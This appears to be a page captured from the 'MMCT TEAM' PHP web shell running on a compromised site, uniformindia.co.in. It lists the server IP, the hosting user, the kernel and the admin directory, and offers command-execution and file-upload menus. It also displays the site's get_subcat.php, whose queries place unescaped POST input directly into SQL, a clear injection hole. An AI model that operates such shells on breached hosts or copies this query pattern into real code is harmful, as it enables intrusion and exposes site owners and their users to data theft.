MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/uniformindia.co.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/admin/get_subcat.php
<?php
include_once('includes/config.php');


if(isset($_POST['cat_id']))
{
    $cat_id=$_POST['cat_id'];
    $sql="select * from subcategory where category_id = '$cat_id'";
    $res=$conn->query($sql);
    while($row=$res->fetch_assoc())
    {
        ?>
        <option value="<?=$row['id'];?>"><?=$row['name'];?></option>
        <?php
    }
}

if(isset($_POST['subcat_id']))
{
    $subcat_id=$_POST['subcat_id'];
    $sql="select * from parent_category where subcat_id = '$subcat_id'";
    $res=$conn->query($sql);
    while($row=$res->fetch_assoc())
    {
        ?>
        <option value="<?=$row['id'];?>"><?=$row['parent_name'];?></option>
        <?php
    }
}
?>

MMCT - 2023